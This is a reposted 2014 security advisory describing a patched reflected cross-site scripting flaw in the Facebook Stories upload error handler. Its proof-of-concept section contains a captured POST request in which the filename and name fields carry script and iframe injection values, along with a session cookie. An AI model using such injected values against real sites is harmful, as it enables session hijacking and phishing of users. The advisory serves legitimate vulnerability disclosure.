Facebook Stories Script Insertion

2014-02-09T00:00:00
ID PACKETSTORM:125144
Type packetstorm
Reporter Benjamin Kunz Mejri
Modified 2014-02-09T00:00:00

Description

                                        
                                            `Document Title:  
===============  
Facebook Bug Bounty #12 - Client Side Exception Web Vulnerability  
  
  
References (Source):  
====================  
http://www.vulnerability-lab.com/get_content.php?id=1190  
  
Facebook Security ID: 186072579  
  
  
Release Date:  
=============  
2014-02-07  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
1190  
  
  
Common Vulnerability Scoring System:  
====================================  
3  
  
  
Product & Service Introduction:  
===============================  
Facebook is an online social networking service, whose name stems from  
the colloquial name for the book given to students  
at the start of the academic year by some university administrations in  
the United States to help students get to know  
each other. It was founded in February 2004 by Mark Zuckerberg with his  
college roommates and fellow Harvard University  
students Eduardo Saverin, Andrew McCollum, Dustin Moskovitz and Chris  
Hughes. The website`s membership was initially limited  
by the founders to Harvard students, but was expanded to other colleges  
in the Boston area, the Ivy League, and Stanford University.  
It gradually added support for students at various other universities  
before opening to high school students, and eventually to anyone  
aged 13 and over. Facebook now allows any users who declare themselves  
to be at least 13 years old to become registered users of the site.  
  
Users must register before using the site, after which they may create a  
personal profile, add other users as friends, and exchange messages,  
including automatic notifications when they update their profile.  
Additionally, users may join common-interest user groups, organized by  
workplace,  
school or college, or other characteristics, and categorize their  
friends into lists such as `People From Work` or `Close Friends`. As of  
September 2012, Facebook has over one billion active users, of which  
8.7% are fake. According to a May 2011 Consumer Reports survey, there are  
7.5 million children under 13 with accounts and 5 million under 10,  
violating the site`s terms of service.  
  
In May 2005, Accel partners invested $12.7 million in Facebook, and Jim  
Breyer added $1 million of his own money to the pot. A January 2009  
Compete.com study ranked Facebook as the most used social networking  
service by worldwide monthly active users. Entertainment Weekly included  
the  
site on its end-of-the-decade `best-of` list, saying, `How on earth did  
we stalk our exes, remember our co-workers` birthdays, bug our friends,  
and play a rousing game of Scrabulous before Facebook?` Facebook  
eventually filed for an initial public offering on February 1, 2012, and  
was  
headquartered in Menlo Park, California. Facebook Inc. began selling  
stock to the public and trading on the NASDAQ on May 18, 2012. Based on its  
2012 income of USD 5.1 Billion, Facebook joined the Fortune 500 list for  
the first time, being placed at position of 462 on the list published in  
2013.  
  
(Copy of the Homepage: http://en.wikipedia.org/wiki/Facebook )  
  
  
Abstract Advisory Information:  
==============================  
The Vulnerability Laboratory Research Team discovered a client-side web  
vulnerability in the official Facebook Stories web-application api.  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2014-01-06: Researcher Notification & Coordination (Benjamin Kunz Mejri  
- Vulnerability Lab)  
2014-01-07: Vendor Notification (Facebook Security Team - WhiteHat Program)  
2014-01-09: Vendor Response/Feedback (Facebook Security Team - WhiteHat  
Program)  
2014-01-31: Vendor Fix/Patch (Facebook Developer Team)  
2014-02-06: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Affected Product(s):  
====================  
Facebook  
Product: FB Stories - Web Application (API) 2014 Q1  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
Medium  
  
  
Technical Details & Description:  
================================  
A non-persistent input validation & filter vulnerability has been  
discovered in the official FacebookStories Online-Service web-application.  
The vulnerability allows remote attackers to inject own script code via  
POST method request on the client-side of the affected application.  
  
The vulnerability is located in the filename value of the photos module.  
The execute occurs in the exception-handling output of the upload  
image post method request. Remote attacker are able to provoke the  
application exception-handling to execute client-side script-code in the  
error message context itself. The encoding of the error message after an  
unsuccessful upload has is not the same way encoded like the other  
input fields of the formular. In our example pictures we show how the  
first injected code got parsed and why the secound client-side script  
code has in the error message been successful executed. The error output  
of the upload form exception does not encode the values of an invalid  
file name. The result is the client-side execute of the script code  
because of the values has not been saved to the database because of the  
invalid upload.  
  
Exploitation of the client-side exception web vulnerability requires no  
privileged facebook user account but low or medium user interaction.  
Successful exploitation of the remote vulnerability results in session  
hijacking, client-side phishing, client-side redirect to malicious  
context and client-side (non-persistent) manipulation of module  
(exception) context.  
  
Request Method(s):  
[+] POST  
  
Attack Vector(s):  
[+] Client-Side  
  
Vulnerable Module(s):  
[+] Add Photos/Video Files (Upload)  
  
Vulnerable Parameter(s):  
[+] filename (exception)  
  
Affected Module(s):  
[+] Error Exception-Handling - Parser Upload  
  
  
Proof of Concept (PoC):  
=======================  
The non persistent web validation vulnerability in the  
exception-handling can be exploited by remote attackers without  
privileged web-application  
user account but low or medium user interaction. For security  
demonstration or to reproduce the vulnerability follow the provided  
information  
and steps below.  
  
PoC: post_video > post_video_file > [class err]  
  
<ul style="display: block;" id="post_video" class="th">  
</ul>  
<ul style="display: block;" data-runtime="html5" id="post_video_file"  
class="th">  
<li class="err" id="p18cb2m71r1gk11624onn1jt81dp4c">There was a problem  
with "<>>"<[CLIENT-SIDE EXECUTION OF SCRIPT CODE!]">.MOV", please try  
again.</li>  
<li id="p18cb2la9dfl31v602q31dm760kb" class="err">File extension  
error., File: "><[CLIENT-SIDE EXECUTION OF SCRIPT  
CODE!]>.png(-601)</li></ul>  
<input id="facebook_video_id" name="story[facebook_video_id]"  
type="hidden">  
<input id="facebook_video_thumb_address"  
name="story[facebook_video_thumb_address]" type="hidden">  
<div class="plupload html5" style="position: absolute; background: none  
repeat scroll 0% 0% transparent;  
width: 140px; height: 38px; overflow: hidden; z-index: -1; opacity: 0;  
top: 21px; left: 150px;"  
id="p18cb2d50c1mo51rob1lk71tg31g773_html5_container"><input  
id="p18cb2d50c1mo51rob1lk71tg31g773_html5"  
style="font-size: 999px; position: absolute; width: 100%; height: 100%;"  
accept="video/avi,video/x-flv,video/x-m4v,video/quicktime,video/mp4,video/mpeg,video/x-ms-wmv"  
type="file"></div></fieldset>  
  
  
  
  
--- PoC Request Session Logs [POST] ---  
  
Status: 200[OK]  
POST http://www.facebookstories.com/photos  
Load Flags[LOAD_BYPASS_CACHE ]  
Content Size[-1]  
Mime Type[application/json]  
  
Request Headers:  
Host[www.facebookstories.com]  
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101  
Firefox/25.0]  
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]  
Accept-Language[en-US,en;q=0.5]  
Accept-Encoding[gzip, deflate]  
DNT[1]  
X-CSRF-Token[ha1lc5Jr5+pQg8Avzn2rhK4tXxy/97XlEsDMQ0BkcKY=]  
Referer[http://www.facebookstories.com/stories/new]  
Content-Length[569]  
Content-Type[multipart/form-data;  
boundary=---------------------------165223053529112]  
Cookie[_fbstories_session=MWVnN0x1YjM2cXcrUGg2REVqbUNoR053Qnp4dks2UkJqZGNRazNOWmI1eGNGV20rVTFkamwyU2lna2E  
rRk1KRkFOUkdLRTdMK1RlL0JiZVdKdmZwcXQvMFViODBnYVFGbkQyNnNhRkprSHF5VlNmTnVGN3F3WG5JOGtkSVY0V1F0TjhvbE  
gyRlN5UWViODJKS2pCNTNiR3ZKZVhqUlVZNHd4Z2tycnAyUlNjNUpxeWR6TituckJZTkJLcmc1ZGJiWm1jdU5VNjBHc3lpaTVEW  
GhxV2E1dDE5dkp3RWppdWxwRXdpNjBDT3N1WTNnY0IwV0N4dStScnpIczd5YjZjb2tSWGR5NkpXQytTaStYSG1XcXBLNFE9PS0t  
ZGV5WjdnYnhzVWpyWUJXK0hmeVAwZz09--214c36970a1ec852af1df7176b22d5191856bc0c;  
__utma=260899354.1686033242.1387625718.1387625718.1387645958.2;  
__utmc=260899354;  
__utmz=260899354.1387625718.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);  
  
__utmb=260899354.4.10.1387645958; page=1]  
Connection[keep-alive]  
Pragma[no-cache]  
Cache-Control[no-cache]  
  
Post Data:  
POST_DATA[-----------------------------165223053529112  
Content-Disposition: form-data; name="name"  
  
"><iframe src=http://vuln-lab.com>.png  
-----------------------------165223053529112  
Content-Disposition: form-data; name="authenticity_token"  
  
ha1lc5Jr5+pQg8Avzn2rhK4tXxy/97XlEsDMQ0BkcKY=  
-----------------------------165223053529112  
Content-Disposition: form-data; name="file"; filename=""><[CLIENT-SIDE  
INJECTED SCRIPT CODE!]>.mov"  
Content-Type: image/png  
?PNG  
  
  
Note: The same procedure is confirmed for the video and images upload  
because both use the same module of the exception-handling.  
By reloading and using a session tamper to intercept it is possible to  
have an influence (client-side) to the provoked exception  
message of the file upload parser.  
  
  
Reference(s):  
http://www.facebookstories.com/  
http://www.facebookstories.com/photos  
  
  
  
Picture(s):  
../parsed-context-example.png  
../poc_code  
../poc_execute  
../poc_post-request  
  
Resource(s):  
../Facebook Stories - People using Facebook in extraordinary  
ways.htm  
../poc_dom.txt  
../poc_session-logs.txt  
  
  
Solution - Fix & Patch:  
=======================  
2014-01-31: Vendor Fix/Patch (Facebook Developer Team)  
  
  
Security Risk:  
==============  
The security risk of the client-side cross site web vulnerability in the  
exception-handling is estimated as medium.  
  
  
Credits & Authors:  
==================  
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri  
(bkm@evolution-sec.com) [www.vulnerability-lab.com]  
  
  
Disclaimer & Information:  
=========================  
The information provided in this advisory is provided as it is without  
any warranty. Vulnerability Lab disclaims all warranties,  
either expressed or implied, including the warranties of merchantability  
and capability for a particular purpose. Vulnerability-  
Lab or its suppliers are not liable in any case of damage, including  
direct, indirect, incidental, consequential loss of business  
profits or special damages, even if Vulnerability-Lab or its suppliers  
have been advised of the possibility of such damages. Some  
states do not allow the exclusion or limitation of liability for  
consequential or incidental damages so the foregoing limitation  
may not apply. We do not approve or encourage anybody to break any  
vendor licenses, policies, deface websites, hack into databases  
or trade with fraud/stolen material.  
  
Domains: www.vulnerability-lab.com - www.vuln-lab.com   
- www.evolution-sec.com  
Contact: admin@vulnerability-lab.com -  
research@vulnerability-lab.com - admin@evolution-sec.com  
Section: www.vulnerability-lab.com/dev -  
forum.vulnerability-db.com - magazine.vulnerability-db.com  
Social: twitter.com/#!/vuln_lab -  
facebook.com/VulnerabilityLab -  
youtube.com/user/vulnerability0lab  
Feeds: vulnerability-lab.com/rss/rss.php -  
vulnerability-lab.com/rss/rss_upcoming.php -  
vulnerability-lab.com/rss/rss_news.php  
  
Any modified copy or reproduction, including partially usages, of this  
file requires authorization from Vulnerability Laboratory.  
Permission to electronically redistribute this alert in its unmodified  
form is granted. All other rights, including the use of other  
media, are reserved by Vulnerability-Lab Research Team or its suppliers.  
All pictures, texts, advisories, source code, videos and  
other information on this website is trademark of vulnerability-lab team  
& the specific authors or managers. To record, list (feed),  
modify, use or edit our material contact (admin@vulnerability-lab.com or  
research@vulnerability-lab.com) to get a permission.  
  
Copyright © 2014 | Vulnerability Laboratory [Evolution  
Security]  
  
--   
VULNERABILITY LABORATORY RESEARCH TEAM  
DOMAIN: www.vulnerability-lab.com  
CONTACT: research@vulnerability-lab.com  
  
`